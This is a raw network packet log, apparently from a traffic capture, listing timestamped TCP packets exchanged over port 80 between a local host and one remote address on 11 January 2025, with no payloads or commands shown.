Jan 11, 2025 05:52:26.493223906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.493232965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493266106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493300915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493313074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.493335962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493371964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493381023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.493402958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493446112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.493721008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493756056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493802071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.493822098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493855000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493891001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493902922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.493926048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.493973970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.493979931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.494014978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.494051933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.494065046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.494170904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.494205952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.494229078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.494659901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.494693041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.494712114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.494843960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.494879007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.494889975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.494976997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495012999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495023966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.495049000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495084047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495101929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.495120049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495155096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495165110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.495191097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495239973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.495409966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495475054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495510101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495526075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.495615005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495649099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495661974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.495685101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495718956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495724916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.495757103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495806932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.495810986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495846033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495882034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.495894909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.496346951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.496396065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.497066021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.497095108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.497148991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.497163057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.497191906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.497234106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.497262001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.497312069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.497345924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.497355938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.497493982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.497522116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.497543097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.501919031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.513688087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.542845011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.542876005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.542926073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.549496889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.578300953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578329086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578340054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578408003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578419924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578442097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.578485966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.578502893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578514099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578526020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578552008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.578577995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.578598976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578610897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578620911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578634024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578645945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.578680992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.578874111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578885078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578896046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578908920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578921080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578929901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.578933001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578948021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.578963041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.578994989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.579104900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579116106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579127073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579138041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579150915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579174042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.579205990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.579309940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579328060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579339981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579351902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579365015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579394102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.579425097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.579514980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579528093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579539061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579549074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579562902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.579596996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.579646111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.579693079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.615906000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.615938902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.615974903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.616004944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.616225004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.616276026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.617050886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.617244959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.617296934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.617317915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.618185997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.618227959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.618238926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.619086981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619143963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619159937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.619447947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619477987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619498014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.619512081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619561911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.619565964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619606972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619641066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619657040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.619688988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619736910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.619754076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619787931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619822025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619837046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.619856119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619899988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.619904995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.619971037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620007038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620021105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620040894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620089054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620094061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620132923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620173931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620184898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620209932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620244980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620254040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620295048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620328903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620341063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620364904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620398998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620409012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620459080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620500088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620501995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620534897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620568037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620588064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620601892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620651007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620651007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620698929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620732069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620750904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620767117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620800972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620822906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620855093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620894909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620898008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.620929956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620970011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.620984077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.621016026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.621067047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.621072054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.621112108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.621145964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.621162891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.621193886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.621241093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.621254921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.630106926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.630150080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.630172968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.630285978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.630292892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.665666103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.665678978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.665693045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.665739059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.665791035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.665811062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.665822983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.665838957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.665868044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.665987968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.665999889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666009903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666021109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666037083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666043043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666047096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666059971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666074038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666095018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666121960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666347980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666359901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666399002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666522980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666542053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666554928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666570902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666574001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666584015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666599989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666625977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666666031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666687012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666699886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666712999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666738987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666776896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666881084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666893005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666907072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666918993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666929007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.666963100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.666995049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.667072058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667085886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667097092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667129993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.667160988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.667241096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667256117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667269945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667299986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.667397022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667417049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667427063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667475939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.667505980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.667560101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667747974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.667797089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.668380022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.680921078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.702676058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702707052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702718973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702768087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.702788115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702800035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702831030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702841043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.702842951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702889919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.702928066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702940941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702953100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.702980042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703005075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703047991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703061104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703072071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703083992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703109026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703135014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703185081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703253984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703264952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703275919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703308105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703340054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703408003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703418970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703438044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703450918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703460932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703471899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703473091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703496933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703536987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703682899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703695059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703706026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703718901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703728914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703732014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703746080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703758955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703771114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.703775883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703800917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703823090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.703993082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704005003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704061985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.704071045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704085112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704096079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704108000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704118013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704130888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704149008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.704186916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.704363108 CET	80	49730	193.143.1.205	192.168.2.4
